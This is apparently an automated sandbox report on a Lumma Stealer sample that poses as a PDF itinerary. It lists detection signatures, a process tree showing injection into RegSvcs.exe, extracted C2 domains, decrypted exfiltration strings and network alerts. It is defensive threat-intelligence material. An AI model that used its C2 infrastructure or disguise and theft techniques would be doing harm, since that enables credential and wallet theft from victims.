Edit tour

Windows Analysis Report
Navan - Itinerary.pdf.scr.exe

Overview

General Information

Sample name:	Navan - Itinerary.pdf.scr.exe
Analysis ID:	1579293
MD5:	168e0d79aa66efd4c83cb8a745d6157a
SHA1:	3be1e99c2d2ed7eaa72fb5ab2697d70dff14cc94
SHA256:	d0a926c2882477f35996cdcc93869aa28687421d892108786e9b67033583357e
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

LummaC encrypted strings found

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses an obfuscated file name to hide its real file extension (double extension)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to read the clipboard data

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Navan - Itinerary.pdf.scr.exe (PID: 6920 cmdline: "C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe" MD5: 168E0D79AA66EFD4C83CB8A745D6157A)

Acrobat.exe (PID: 7424 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\NavanItinerary.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7844 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1500,i,10956060416113398511,1382103396325876287,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

RegSvcs.exe (PID: 6748 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["necklacebudi.lat", "sustainskelet.lat", "energyaffai.lat", "grannyejh.lat", "aspecteirs.lat", "rapeflowwj.lat", "crosshuaht.lat", "stem-mellows.cyou", "discokeyus.lat"], "Build id": "OPCN2M--Sergei"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\NavanItinerary.pdf", CommandLine: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\NavanItinerary.pdf", CommandLine|base64offset|contains: , Image: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe, NewProcessName: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe, OriginalFileName: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe, ParentCommandLine: "C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe", ParentImage: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe, ParentProcessId: 6920, ParentProcessName: Navan - Itinerary.pdf.scr.exe, ProcessCommandLine: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\NavanItinerary.pdf", ProcessId: 7424, ProcessName: Acrobat.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T13:18:23.286867+0100	2028371	3	Unknown Traffic	192.168.2.7	49715	172.67.197.170	443	TCP
2024-12-21T13:18:25.926745+0100	2028371	3	Unknown Traffic	192.168.2.7	49727	172.67.197.170	443	TCP
2024-12-21T13:18:29.057008+0100	2028371	3	Unknown Traffic	192.168.2.7	49745	172.67.197.170	443	TCP
2024-12-21T13:18:31.170364+0100	2028371	3	Unknown Traffic	192.168.2.7	49750	172.67.197.170	443	TCP
2024-12-21T13:18:33.593243+0100	2028371	3	Unknown Traffic	192.168.2.7	49756	172.67.197.170	443	TCP
2024-12-21T13:18:35.898402+0100	2028371	3	Unknown Traffic	192.168.2.7	49762	172.67.197.170	443	TCP
2024-12-21T13:18:38.349929+0100	2028371	3	Unknown Traffic	192.168.2.7	49768	172.67.197.170	443	TCP
2024-12-21T13:18:42.956761+0100	2028371	3	Unknown Traffic	192.168.2.7	49784	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T13:18:24.199146+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49715	172.67.197.170	443	TCP
2024-12-21T13:18:26.691089+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49727	172.67.197.170	443	TCP
2024-12-21T13:18:43.752592+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49784	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T13:18:24.199146+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49715	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T13:18:26.691089+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49727	172.67.197.170	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T13:18:23.286867+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49715	172.67.197.170	443	TCP
2024-12-21T13:18:25.926745+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49727	172.67.197.170	443	TCP
2024-12-21T13:18:29.057008+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49745	172.67.197.170	443	TCP
2024-12-21T13:18:31.170364+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49750	172.67.197.170	443	TCP
2024-12-21T13:18:33.593243+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49756	172.67.197.170	443	TCP
2024-12-21T13:18:35.898402+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49762	172.67.197.170	443	TCP
2024-12-21T13:18:38.349929+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49768	172.67.197.170	443	TCP
2024-12-21T13:18:42.956761+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.7	49784	172.67.197.170	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T13:18:21.859167+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.7	49217	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T13:18:21.706231+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.7	60934	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T13:18:32.008169+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49750	172.67.197.170	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T13:18:38.355032+0100	2843864	1	A Network Trojan was detected	192.168.2.7	49768	172.67.197.170	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["necklacebudi.lat", "sustainskelet.lat", "energyaffai.lat", "grannyejh.lat", "aspecteirs.lat", "rapeflowwj.lat", "crosshuaht.lat", "stem-mellows.cyou", "discokeyus.lat"], "Build id": "OPCN2M--Sergei"}

Multi AV Scanner detection for submitted file

Source: Navan - Itinerary.pdf.scr.exe	Virustotal: Detection: 11%			Perma Link
Source: Navan - Itinerary.pdf.scr.exe	ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: stem-mellows.cyou
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String decryptor: OPCN2M--Sergei

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 13_2_00415799 CryptUnprotectData,

13_2_00415799

Source: Navan - Itinerary.pdf.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.7:49784 version: TLS 1.2

Source: Navan - Itinerary.pdf.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0Dh]	13_2_00423860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [esi], al	13_2_0042DA53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	13_2_0043ECA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, eax	13_2_00409580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [ebp+00h], ax	13_2_00409580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+ebx-10h]	13_2_0043C767
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea edx, dword ptr [ecx+01h]	13_2_0040B70C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov esi, eax	13_2_00415799
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, eax	13_2_00415799
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp eax	13_2_0042984F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov edx, ecx	13_2_00438810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 5E874B5Fh	13_2_00438810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [edx+edi*8], BC9C9AFCh	13_2_00438810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then test eax, eax	13_2_00438810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edi], al	13_2_0041682D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+18h]	13_2_0041682D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-75h]	13_2_0041682D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [ecx], bp	13_2_0041D83A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push C0BFD6CCh	13_2_00423086
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push C0BFD6CCh	13_2_00423086
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	13_2_0042B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	13_2_004179C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E5FE86B7h	13_2_0043B1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ebx, eax	13_2_0043B1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [ecx], dx	13_2_004291DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	13_2_004291DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ebx, eax	13_2_00405990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ebp, eax	13_2_00405990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ebx, esi	13_2_00422190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [ebx], cx	13_2_00422190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	13_2_00422190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edi], cl	13_2_0042CA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-7D4F867Fh]	13_2_00416263
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+61D008CBh]	13_2_00415220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push esi	13_2_00427AD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edi], cl	13_2_0042CAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [ebx], ax	13_2_0041B2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push ebx	13_2_0043CA93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [eax], cx	13_2_0041CB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [esi], cx	13_2_0041CB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [eax], cx	13_2_00428B61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edi], cl	13_2_0042CB11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edi], cl	13_2_0042CB22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	13_2_0043F330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ebx, eax	13_2_0040DBD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ebx, eax	13_2_0040DBD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	13_2_00417380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp word ptr [ebx+edi+02h], 0000h	13_2_0041D380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp al, 2Eh	13_2_00426B95
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	13_2_00435450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	13_2_00417380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push 00000000h	13_2_00429C2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [ecx], dx	13_2_004291DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	13_2_004291DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	13_2_004074F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	13_2_004074F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 9C259492h	13_2_004385E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp eax	13_2_004385E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-7D4F88C7h]	13_2_00417DEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp dword ptr [0044450Ch]	13_2_00418591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov eax, dword ptr [ebp-68h]	13_2_00428D93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then xor edi, edi	13_2_0041759F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov eax, dword ptr [0044473Ch]	13_2_0041C653
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov edx, ebp	13_2_00425E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp dword ptr [004455F4h]	13_2_00425E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, eax	13_2_0043AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then xor byte ptr [esp+eax+17h], al	13_2_00408F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edi], bl	13_2_00408F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	13_2_0042A700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [esi], al	13_2_0041BF14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov eax, dword ptr [ebx+edi+44h]	13_2_00419F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+423C9D38h]	13_2_0041E7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx eax, word ptr [edx]	13_2_004197C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [edi], dx	13_2_004197C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [esi], cx	13_2_004197C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, ebx	13_2_0042DFE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp ecx	13_2_0040BFFD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	13_2_0043EFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.7:60934 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.7:49217 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49727 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49715 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49756 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49750 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49745 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49768 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49784 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.7:49762 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49727 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49727 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49715 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49715 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49750 -> 172.67.197.170:443
